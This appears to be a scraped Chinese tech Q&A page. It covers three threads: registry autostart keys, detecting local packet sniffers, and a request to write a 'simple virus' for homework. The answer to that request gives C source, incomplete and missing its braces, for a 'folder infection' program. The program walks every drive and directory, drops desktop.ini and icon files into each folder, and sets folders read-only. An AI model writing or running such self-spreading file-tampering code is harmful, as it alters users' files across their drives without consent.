当前位置:  操作系统/服务器>windows
本页文章导读:
    ▪注册表中的自动启动项解决思路        注册表中的自动启动项HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers HKLM\Software\Microsoft\Windows\CurrentVersion.........
    ▪ sniffer本地检测?该怎么处理        sniffer本地检测?如果有什么软件在本地pc上抓包,有没有什么方法可以检测到这种行为?我在想:抓包原理是不是也是hook了那几个发送函数,那么遍历hook列表,是不是可以检测到这种抓包行.........
    ▪ 编写病毒解决方案       编写病毒请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢 这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这.........

[1]注册表中的自动启动项解决思路
    来源: 互联网  发布时间: 2014-02-18
注册表中的自动启动项
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Directory\ShellEx\ContextMenuHandlers
HKLM\Software\Classes\Folder\ShellEx\ContextMenuHandlers
HKLM\Software\Microsoft\Windows\CurrentVersion\Shell Extensions\Approved
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\BrowserHelperObjects
这些应该都属于自动启动项, 这几个项有下的值项的值有什么意义,好像它们的形式都互不相同,另外如何找到这些文件加载的.exe或者dll


解决了就好。这几个键关联的都是CLSID,也就是应用程序、组件、对象的ID代码,找到这些文件加载的.exe或者dll的方法是到注册表的HKCR\CLSID下查找对应的CLSID,然后在相应CLSID的InprocServer32项下,即可找到对应的dll文件了。

    
[2] sniffer本地检测?该怎么处理
    来源: 互联网  发布时间: 2014-02-18
sniffer本地检测?
如果有什么软件在本地pc上抓包,有没有什么方法可以检测到这种行为?
我在想:抓包原理是不是也是hook了那几个发送函数,那么遍历hook列表,是不是可以
检测到这种抓包行为?
我就是想不让其它程序能够复制我的通信数据包,只要检测到,我就做相应处理。
可以怎么实现?


有一些因素是软件无法控制的,不仅仅在操作系统这一层,
即使你费劲把操作系统的SNIFFER做掉了,你依然无法控制
交换机这一层,所以我认为这种方式不可取。
如果你不想数据包被窃听,你只能将你的数据包先加密再传输,
加密协议有很多,可以用现成的,也可以自己做,这样它就是
窃听了也没有用。


也可以自己做

抓包 需要设置网卡模式为混杂模式。因为混杂模式下,途径pc的数据包会被自动获取。(最初是方便管理员调试网络用的)
抓这一点应该就可以解决大部分的抓包程序。

    
[3] 编写病毒解决方案
    来源: 互联网  发布时间: 2014-02-18
编写病毒
请高手教我如何编写简单的病毒,最好用c/c++或java语言,只是为了完成作业,不会危害他人,谢谢


这里是个文件夹感染的范例程序,其实很简单,当然强大功能的病毒或木马远比这要复杂很多,看些书吧,windows核心编程,网络编程,加上黑客防线编程板块的那些内容就可以了。
 实现原理与步骤 
修改文件夹图标的方法就是 在文件夹中放入两个文件,它们分别是 Desktop.ini 和 一个ico文件然后在Desktop.ini中写入如下内容 
[.ShellClassInfo] 
IconFile=GouGe.ico 
IconIndex=0 
其中GouGe.ico就是你要显示的文件夹图标了这个名字是可以改的,主要步骤分为1.枚举磁盘2.枚举目录3.进行感染总的来说就是这3步了 
下面开始一个一个解析 
1.枚举磁盘 
int APIENTRY WinMain(HINSTANCE hInstance, 
HINSTANCE hPrevInstance, 
LPSTR lpCmdLine, 
int nCmdShow) 

for(char i='A';i<='Z';i++) 

char x[20]={i,':'}; 
UINT Type=GetDriveType(x); 
if(Type==DRIVE_FIXED||Type==DRIVE_REMOVABLE)//取硬盘和移动磁盘 

EnumDirectory(x);//进行感染 此函数下面介绍 


return 0; 

2.枚举目录 
bool EnumDirectory(TCHAR *dirpath) 

WIN32_FIND_DATA fd; 
TCHAR szTempFileFind[MAX_PATH] = { 0 }; 
bool bIsFinish = false; 
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA)); 
wsprintf(szTempFileFind, "%s\\*.*", dirpath); 
HANDLE hFind = FindFirstFile(szTempFileFind, &fd); 
if (hFind == INVALID_HANDLE_VALUE) 

return false; 

while (!bIsFinish) 

bIsFinish = (FindNextFile(hFind, &fd)) ? false : true; 
if ((strcmp(fd.cFileName, ".") != 0) && (strcmp(fd.cFileName, "..") != 0)) 

TCHAR szFoundFileName[MAX_PATH] = { 0 }; 
strcpy(szFoundFileName, fd.cFileName); 
if (fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) 

TCHAR szTempDir[MAX_PATH] = { 0 }; 
wsprintf(szTempDir, "%s\\%s", dirpath, szFoundFileName); 
Sleep(10); 
inject(szTempDir);//进行感染 此函数下面介绍 
EnumDirectory(szTempDir);//递归调用 



FindClose(hFind); 
return 0; 

此函数主要使用递归调用的方法对指定目录进行枚举,并感染,如果是文件则跳过 
3.进行感染 
void inject(char* path) 

char inifilepath[256]; 
char icofilepath[256]; 
strcpy(inifilepath,path); 
strcpy(icofilepath,path); 
strcat(inifilepath,"\\desktop.ini"); 
strcat(icofilepath,"\\LengFeng.ico"); 
WriteResourceToFile(icofilepath);//生成ICO文件 此函数下面介绍 
SetFileAttributes(path,FILE_ATTRIBUTE_READONLY); 
WritePrivateProfileString(".ShellClassInfo","IconFile","LengFeng.ico",inifilepath);//写入INI 
WritePrivateProfileString(".ShellClassInfo","IconIndex","0",inifilepath);//写入INI 

此函数负责把ICO和INI文件写入指定目录ICO文件是由资源的方式加载并生成的,而INI文件则是动态写入的 
4.生成ICO文件 
bool WriteResourceToFile(char const *filename) 

HINSTANCE hInstance=GetModuleHandle(NULL); 
HRSRC hResInfo = FindResource(hInstance, MAKEINTRESOURCE(ID_ICO),MAKEINTRESOURCE(RC_BINARYTYPE)); 
HGLOBAL hgRes = LoadResource(hInstance, hResInfo); 
void *pvRes = LockResource(hgRes); 
DWORD cbRes = SizeofResource(hInstance, hResInfo); 
HANDLE hFile = CreateFile(filename, GENERIC_WRITE, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); 
DWORD cbWritten; 
WriteFile(hFile, pvRes, cbRes, &cbWritten, 0); 
CloseHandle(hFile); 
return false; 

此函数中ID_ICO与RC_BINARYTYPE是自己定义的它们分别代码资源名称和资源类型 因为ICO是以资源的方式加载的那么如何在SDK的程序中 
加载资源呢?请看下面的实现
 5.SDK中加载资源 
如果你使用了VC或者BCB又或DELPHI那么可以直接导入,但在VC中的SDK程序中是没有这个功能的,所以我们要自己实现 
首先新建一个名为resource.h的头文件并输入 

    
最新技术文章:
▪文件转换有关问题     ▪ 3ds max 2009 mentalray遇到内存相关的错,该怎么解...    ▪ 文萃ocr的注册码哪位高手有
▪常见文件密码的设置与解除解决思路     ▪ 数据恢复软件哪个好用?该怎么处理     ▪ vmware高手帮忙解决一个常见有关问题
▪求会声会影的注册机啊 到处找不到 T_T,该怎么...    ▪ 急求!硬盘解密软件。解决思路     ▪ 大侠们有改过chrome的临时文件夹的吗?小弟我...
▪怎么在windows下查看计算机的内存大小     ▪ 宏基玩2k10的有关问题     ▪ 求日语操作系统;链接解决思路
▪怎样制作软件自动安装解决思路     ▪ UtrlEdit重新加载已更新的文件内容时,不让其...    ▪ 小弟我的数据库卸载后装不上怎么处理
▪win7的编程工具选择?该如何解决     ▪ 开机按回车咋办,该怎么解决     ▪ 怎么刻录一张系统盘
▪强行卸载如何用哦?     ▪ 为什么QQ音乐的乐库打不开,显示是一片空白...    ▪ 如何控制局域网其它电脑的流量啊宿舍人老...
▪AutoPlay Menu Loader 5.1.0.341,该如何解决     ▪ 100分求个软件免费或收费的都可以,最好熟...    ▪ 远程桌面连接如何设置磁盘共享
▪请教怎么知道TXT文件的编码方式呢     ▪ QQ收件箱中的邮件不知不觉被自动删除了解决...    ▪ qq如何去广告
▪双击C与C++程序设计学习与实验系统,就打开...    ▪ 急电脑黑屏的原因,该怎么解决     ▪ 请问Sdelete这个软件的使用方法
▪虚拟机中怎么切换     ▪ “假的”mp4视频文件怎么打开     ▪ XP照片缩略图和照片本身显示不一致解决思路...
▪激光检测仪数控机床日文的,该如何处理     ▪ 怎么打开*crp格式的文件     ▪ 联想Z465玩魔兽争霸黑屏,大侠帮帮忙解决一下...
▪u盘插入电脑时报错!解决方案     ▪ Pixelpop有人用过吗?解决方法     ▪ 加快解压速度小弟我有招
▪高分,小弟我是windows xp的系统,请教如何才...    ▪ 加密网页怎样破解密码?解决办法     ▪ 佛爱小弟我羊老师请进
▪Runtime Error (-1:0): Cannot Import dll,该如何解决     ▪ 关于刻录系统光盘的有关问题     ▪ CCPROXY的有关问题(结贴100%)
▪print screen键不能截屏?该怎么处理     ▪ 用Serv-U做了个FTP服务器,为什么浏览器不能...    ▪ ftp下载稍微大一点的文件时不让下载,该如何...
▪Internet Explorer删除不了解决思路     ▪ 安装在开始菜单里面程序的位置为什么不同...    ▪ 赛扬2.8GHz的CPU内存1GB双硬盘能跑VMware Workstatio...
▪VisualSVN Server 经常异常覆盖如何解决     ▪ 怎么封装(打包)exe文件     ▪ 重新打开ie的自动密码保存要如何做
▪请教windows多久自动清空IE缓存     ▪ 高手帮忙看下这个autohotkey脚本,快捷复制粘贴...    ▪ 怎办?winpcap 4.1.2 安装失败!该怎么解决
▪视频会议软件用什么样的好呢?解决办法     ▪ 怎么将ActiveX控件Cab包制作成EXE安装格式     ▪ 怎样从硬盘安装苹果雪豹系统,该如何处理 iis7站长之家
▪金山词霸PDF取词插件解决方案解决思路     ▪ 想要学习ps,该怎么解决     ▪ WinRAR自解压时能否读取注册表中的信息,来...
▪怎么架设多对多媒体服务器     ▪ VMware解决方法     ▪ 腾讯Q+平台怎么申请接口
▪应用程序作为系统服务。解决办法     ▪ (文件编码有关的字符串替换)通过CMD批处理,...    ▪ 234.34.23.234:33674这个ip地址一般是用来做什么...
▪视频会议软件用什么样的好呢?解决办法     ▪ 怎么将ActiveX控件Cab包制作成EXE安装格式     ▪ 怎样从硬盘安装苹果雪豹系统,该如何处理
▪关于邮件组的有关问题!请专业邮箱技术支持...    ▪ 打印机有关问题     ▪ window下的vim怎么不产生备份文件
▪急 压缩文件夹,该怎么处理     ▪ Multisim软件如何样?那里有安装文件     ▪ 问个关于分区的小疑点啊很简单,来拿分啦
▪批处理高手帮忙了 啊 送分中,该怎么处理     ▪ wix打包发布 如何更改默认的安装包图标     ▪ 酷狗*krc歌词的文件结构及压缩算法
▪小弟我是个大笨鸟哪位高手帮帮小弟我     ▪ 哪款浏览器占用内存较少?解决办法     ▪ 有关问题
▪请教Polaris Office的文件格式能转换为pdf吗     ▪ wmp是用什么解码器比较好?该如何解决     ▪ 求Ardence.RTX.v7.0.SDK Ardence.RTX.v7.0.Runtime 下载解...
▪使用wireshark抓包,wireshark上显示的时间和pc时...    ▪ windows live mail 按send/receive 怎么不send,只receiv...    ▪ 某个exe程序始终无法运行,任务管理器里闪...
 


站内导航:


特别声明:169IT网站部分信息来自互联网,如果侵犯您的权利,请及时告知,本站将立即删除!

©2012-2021,,E-mail:www_#163.com(请将#改为@)

浙ICP备11055608号-3